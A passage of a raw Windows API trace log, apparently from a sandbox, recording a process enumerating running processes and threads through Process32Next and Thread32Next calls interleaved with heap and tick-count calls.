[0192.854] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0192.855] GetTickCount () returned 0x18806ea [0192.855] GetCurrentThreadId () returned 0xa0c [0192.855] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.855] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.855] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0192.856] GetTickCount () returned 0x18806ea [0192.856] GetCurrentThreadId () returned 0xa0c [0192.856] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.857] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.857] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0192.858] GetTickCount () returned 0x18806ea [0192.858] GetCurrentThreadId () returned 0xa0c [0192.858] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.858] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.858] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0192.859] GetTickCount () returned 0x18806ea [0192.859] GetCurrentThreadId () returned 0xa0c [0192.859] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.860] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.860] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.861] GetTickCount () returned 0x18806ea [0192.861] GetCurrentThreadId () returned 0xa0c [0192.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.861] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.862] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.862] GetTickCount () returned 0x18806ea [0192.862] GetCurrentThreadId () returned 0xa0c [0192.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.863] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0192.864] GetTickCount () returned 0x18806ea [0192.864] GetCurrentThreadId () returned 0xa0c [0192.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.864] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0192.865] GetTickCount () returned 0x18806ea [0192.865] GetCurrentThreadId () returned 0xa0c [0192.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.865] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0192.866] GetTickCount () returned 0x18806ea [0192.866] GetCurrentThreadId () returned 0xa0c [0192.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.866] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.867] GetTickCount () returned 0x18806ea [0192.867] GetCurrentThreadId () returned 0xa0c [0192.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.868] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf30, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0192.869] GetTickCount () returned 0x18806ea [0192.869] GetCurrentThreadId () returned 0xa0c [0192.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.869] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xf30, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0192.870] GetTickCount () returned 0x18806fa [0192.870] GetCurrentThreadId () returned 0xa0c [0192.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.871] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x38c, pcPriClassBase=8, dwFlags=0x0, szExeFile="install.exe")) returned 1 [0192.872] GetTickCount () returned 0x18806fa [0192.872] GetCurrentThreadId () returned 0xa0c [0192.872] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.872] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.872] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.873] GetTickCount () returned 0x18806fa [0192.873] GetCurrentThreadId () returned 0xa0c [0192.873] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.873] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.874] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.874] GetTickCount () returned 0x18806fa [0192.874] GetCurrentThreadId () returned 0xa0c [0192.874] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.875] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.875] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="anydesk.exe")) returned 1 [0192.876] GetTickCount () returned 0x18806fa [0192.876] GetCurrentThreadId () returned 0xa0c [0192.876] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.876] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.876] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="AnyDesk.exe")) returned 1 [0192.877] GetTickCount () returned 0x18806fa [0192.877] GetCurrentThreadId () returned 0xa0c [0192.877] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.878] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.878] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.879] GetTickCount () returned 0x18806fa [0192.879] GetCurrentThreadId () returned 0xa0c [0192.879] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.879] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.879] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0192.880] GetTickCount () returned 0x18806fa [0192.880] Thread32First (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.880] GetCurrentThreadId () returned 0xa0c [0192.880] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.881] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.881] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.881] GetTickCount () returned 0x18806fa [0192.881] GetCurrentThreadId () returned 0xa0c [0192.881] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.882] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.882] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.883] GetTickCount () returned 0x18806fa [0192.883] GetCurrentThreadId () returned 0xa0c [0192.883] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.883] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.883] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.884] GetTickCount () returned 0x18806fa [0192.884] GetCurrentThreadId () returned 0xa0c [0192.884] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.885] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.885] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.886] GetTickCount () returned 0x1880709 [0192.886] GetCurrentThreadId () returned 0xa0c [0192.886] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.886] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.886] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.887] GetTickCount () returned 0x1880709 [0192.887] GetCurrentThreadId () returned 0xa0c [0192.887] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.888] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.888] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.889] GetTickCount () returned 0x1880709 [0192.889] GetCurrentThreadId () returned 0xa0c [0192.889] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.889] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.889] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.890] GetTickCount () returned 0x1880709 [0192.890] GetCurrentThreadId () returned 0xa0c [0192.890] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.891] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.892] GetTickCount () returned 0x1880709 [0192.892] GetCurrentThreadId () returned 0xa0c [0192.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.892] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.893] GetTickCount () returned 0x1880709 [0192.893] GetCurrentThreadId () returned 0xa0c [0192.893] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.893] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.893] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.894] GetTickCount () returned 0x1880709 [0192.894] GetCurrentThreadId () returned 0xa0c [0192.894] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.895] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.895] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.896] GetTickCount () returned 0x1880709 [0192.896] GetCurrentThreadId () returned 0xa0c [0192.896] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.896] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.896] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.897] GetTickCount () returned 0x1880709 [0192.897] GetCurrentThreadId () returned 0xa0c [0192.897] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.898] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.899] GetTickCount () returned 0x1880709 [0192.899] GetCurrentThreadId () returned 0xa0c [0192.899] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.899] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.900] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.900] GetTickCount () returned 0x1880709 [0192.900] GetCurrentThreadId () returned 0xa0c [0192.900] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.901] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.901] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.902] GetTickCount () returned 0x1880719 [0192.902] GetCurrentThreadId () returned 0xa0c [0192.902] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.902] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.902] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.903] GetTickCount () returned 0x1880719 [0192.903] GetCurrentThreadId () returned 0xa0c [0192.903] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.903] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.903] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.905] GetTickCount () returned 0x1880719 [0192.905] GetCurrentThreadId () returned 0xa0c [0192.905] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.905] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.906] GetTickCount () returned 0x1880719 [0192.906] GetCurrentThreadId () returned 0xa0c [0192.906] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.906] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.907] GetTickCount () returned 0x1880719 [0192.907] GetCurrentThreadId () returned 0xa0c [0192.907] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.908] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.908] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.909] GetTickCount () returned 0x1880719 [0192.909] GetCurrentThreadId () returned 0xa0c [0192.909] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.909] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.909] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.911] GetTickCount () returned 0x1880719 [0192.911] GetCurrentThreadId () returned 0xa0c [0192.911] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.911] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.911] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.912] GetTickCount () returned 0x1880719 [0192.912] GetCurrentThreadId () returned 0xa0c [0192.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.913] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.913] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.914] GetTickCount () returned 0x1880719 [0192.914] GetCurrentThreadId () returned 0xa0c [0192.914] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.914] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.914] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.915] GetTickCount () returned 0x1880719 [0192.915] GetCurrentThreadId () returned 0xa0c [0192.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.915] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.915] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.916] GetTickCount () returned 0x1880729 [0192.917] GetCurrentThreadId () returned 0xa0c [0192.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.917] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.917] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.918] GetTickCount () returned 0x1880729 [0192.918] GetCurrentThreadId () returned 0xa0c [0192.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.918] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.918] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.919] GetTickCount () returned 0x1880729 [0192.919] GetCurrentThreadId () returned 0xa0c [0192.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.920] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.920] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.921] GetTickCount () returned 0x1880729 [0192.921] GetCurrentThreadId () returned 0xa0c [0192.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.921] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.921] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.922] GetTickCount () returned 0x1880729 [0192.922] GetCurrentThreadId () returned 0xa0c [0192.922] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.922] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.922] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.923] GetTickCount () returned 0x1880729 [0192.923] GetCurrentThreadId () returned 0xa0c [0192.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.924] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.924] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.925] GetTickCount () returned 0x1880729 [0192.925] GetCurrentThreadId () returned 0xa0c [0192.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.925] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.925] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.926] GetTickCount () returned 0x1880729 [0192.926] GetCurrentThreadId () returned 0xa0c [0192.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.926] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.927] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.927] GetTickCount () returned 0x1880729 [0192.927] GetCurrentThreadId () returned 0xa0c [0192.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.928] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.928] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.929] GetTickCount () returned 0x1880729 [0192.929] GetCurrentThreadId () returned 0xa0c [0192.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.929] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.929] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.930] GetTickCount () returned 0x1880729 [0192.930] GetCurrentThreadId () returned 0xa0c [0192.930] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.930] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.931] GetTickCount () returned 0x1880729 [0192.931] GetCurrentThreadId () returned 0xa0c [0192.931] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.932] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.933] GetTickCount () returned 0x1880738 [0192.933] GetCurrentThreadId () returned 0xa0c [0192.933] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.933] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.934] GetTickCount () returned 0x1880738 [0192.934] GetCurrentThreadId () returned 0xa0c [0192.934] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 